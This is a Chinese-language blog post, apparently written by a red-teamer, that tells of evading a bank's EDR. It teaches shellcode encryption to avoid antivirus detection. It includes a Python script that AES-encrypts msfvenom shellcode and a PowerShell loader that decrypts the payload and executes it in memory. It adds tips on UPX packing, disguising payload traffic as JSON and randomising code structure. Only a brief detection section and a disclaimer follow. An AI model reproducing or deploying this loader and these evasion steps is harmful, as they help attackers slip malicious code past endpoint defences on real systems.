一、一次真实的渗透案例:EDR下的挣扎

有一次在红队渗透测试中,我遇到了一家银行的目标环境。他们部署了全套的EDR(Endpoint Detection and Response)解决方案,连普通的 PowerShell 脚本都能触发告警。更棘手的是,杀毒软件对恶意代码的检测非常敏感,尤其是针对常规的 Shellcode 加载器,几乎没有任何的存活机会。为了拿到目标环境的权限,我不得不重新思考如何让 Shellcode 彻底「隐形」。

最终,我选择了Shellcode加密免杀技术,通过加密、混淆和动态解密的方式,成功绕过了 EDR 和各种安全软件。这篇文章就是基于这个案例,分享我的实战经验和技术细节,帮助你理解并掌握如何让 Shellcode 安全地执行,并通过免杀技术提升攻击链的隐蔽性。

---

二、Shellcode免杀的核心思路:加密+动态加载

Shellcode免杀的核心思路是:将原始的Shellcode进行加密,让静态分析完全失效,随后在目标环境中动态解密并加载到内存中执行。这种方法的好处是:

  1. 静态文件免杀:加密后的Shellcode是不可读的,EDR和杀毒软件无法识别其中的恶意逻辑。
  2. 动态解密执行:解密是在内存中完成,避免触发磁盘级扫描。
  3. 流量伪装:加密后的Shellcode可以伪装成合法数据进行传输,比如JSON或者Base64编码。

具体的流程如下:

  1. 使用一个加密算法对原始Shellcode进行加密;
  2. 将加密后的内容嵌入载荷文件(例如EXE或PowerShell脚本);
  3. 在目标机器上通过自定义解密器解密Shellcode;
  4. 动态加载Shellcode到内存中并执行。

接下来我们会通过完整的实战代码演示这些过程。

---

三、构造免杀Payload:Python加密+PowerShell解密执行

先从简单的Shellcode加密开始。我选择用Python来做加密和伪装,因为它的代码开发效率高,而且可以灵活调整加密算法。解密部分会用PowerShell编写,因为PowerShell在Windows环境中执行更加方便。

第一步:加密Shellcode

我们通过AES加密的方式对Shellcode进行加密,AES密钥可以随机生成,也可以手动设定。

<pre><code class="language-python">import base64 import os from Crypto.Cipher import AES from Crypto.Util.Padding import pad

原始Shellcode(可以用msfvenom生成)

shellcode = b&quot;\xfc\x48\x83\xe4\xf0\xe8...&quot;

随机生成AES密钥(16字节)

key = os.urandom(16) print(f&quot;[+] AES Key: {key.hex()}&quot;)

使用AES加密Shellcode

cipher = AES.new(key, AES.MODE_CBC, key) # CBC模式,IV与Key一致 encrypted_shellcode = cipher.encrypt(pad(shellcode, AES.block_size))

将加密后的Shellcode转为Base64方便嵌入

encoded_shellcode = base64.b64encode(encrypted_shellcode).decode() print(f&quot;[+] Encrypted Shellcode: {encoded_shellcode}&quot;)

黑客示意图

保存AES密钥和加密Shellcode

with open(&quot;payload.txt&quot;, &quot;w&quot;) as f: f.write(f&quot;{key.hex()}|{encoded_shellcode}&quot;) print(&quot;[+] 保存加密后的Payload到payload.txt&quot;)</code></pre>

黑客示意图

第二步:PowerShell动态解密并加载

解密Shellcode的过程会在目标机器上进行。PowerShell脚本负责从文件中读取加密数据,并动态加载到内存中执行。

<pre><code class="language-powershell"># 从payload.txt文件中读取AES密钥和加密Shellcode $payload = Get-Content .\payload.txt $parts = $payload -split &#039;\|&#039; $key = [System.Convert]::FromHexString($parts[0]) # AES密钥 $encrypted_shellcode = [System.Convert]::FromBase64String($parts[1]) # 加密后的Shellcode

AES解密函数

Function Decrypt-Shellcode { param ( [Byte[]]$Key, [Byte[]]$EncryptedShellcode ) $aes = New-Object System.Security.Cryptography.AesManaged $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes.Key = $Key $aes.IV = $Key # CBC模式下IV与Key相同 $decryptor = $aes.CreateDecryptor() return $decryptor.TransformFinalBlock($EncryptedShellcode, 0, $EncryptedShellcode.Length) }

解密Shellcode

$decrypted_shellcode = Decrypt-Shellcode -Key $key -EncryptedShellcode $encrypted_shellcode Write-Host &quot;[+] Shellcode解密完成&quot;

动态加载Shellcode到内存并执行

$memory = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($decrypted_shellcode.Length) [System.Runtime.InteropServices.Marshal]::Copy($decrypted_shellcode, 0, $memory, $decrypted_shellcode.Length) $thread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memory, ([Action])) $thread.DynamicInvoke()</code></pre>

---

四、绕过EDR的实战技巧:加壳与流量伪装

仅仅加密Shellcode还不够,我们还需要进一步对抗EDR的检测能力。以下是几种实战中常用的技巧:

1. 加壳保护载荷

可以通过加壳工具(如UPX)对生成的EXE或脚本进行二次封装,降低EDR对载荷的分析成功率。

黑客示意图

2. 流量伪装

为了避免网络层的安全设备拦截,可以将加密后的Shellcode伪装成合法数据,比如伪装成JSON API响应: <pre><code class="language-json">{ &quot;status&quot;: &quot;200&quot;, &quot;data&quot;: &quot;U2FsdGVkX1...&quot; }</code></pre>

3. 随机化代码结构

EDR通常会对恶意代码的固定模式进行识别,因此需要通过动态生成随机变量名、注释混淆等方式规避特征检测。

---

五、检测与防御:如何识别加密Shellcode

虽然加密Shellcode能绕过很多检测机制,但并非真正无懈可击。以下是几种可能的检测方法:

  1. 内存行为分析:检测模块会监控内存中的动态加载行为,发现异常的API调用。
  2. 流量内容分析:基于机器学习的流量识别技术可以发现伪装的Shellcode。
  3. 静态逆向分析:加密的Shellcode仍可能通过沙箱运行被动捕获。

---

六、个人经验与结语

在实际渗透中,Shellcode加密免杀技术是一种非常有效的绕过手段,但它也有局限性。为了提高攻击链的隐蔽性,我建议:

  1. 结合多种免杀技术:加壳、流量伪装与代码随机化结合使用。
  2. 武器化工具链:开发自己的加密/解密工具,提高攻击效率。
  3. 持续更新方法:随着EDR能力的进化,免杀技术也需要不断优化。

最后,本文仅供授权的安全测试以及学习研究使用,切勿用于非法用途。希望我的实战经验能为你的技术提升带来帮助!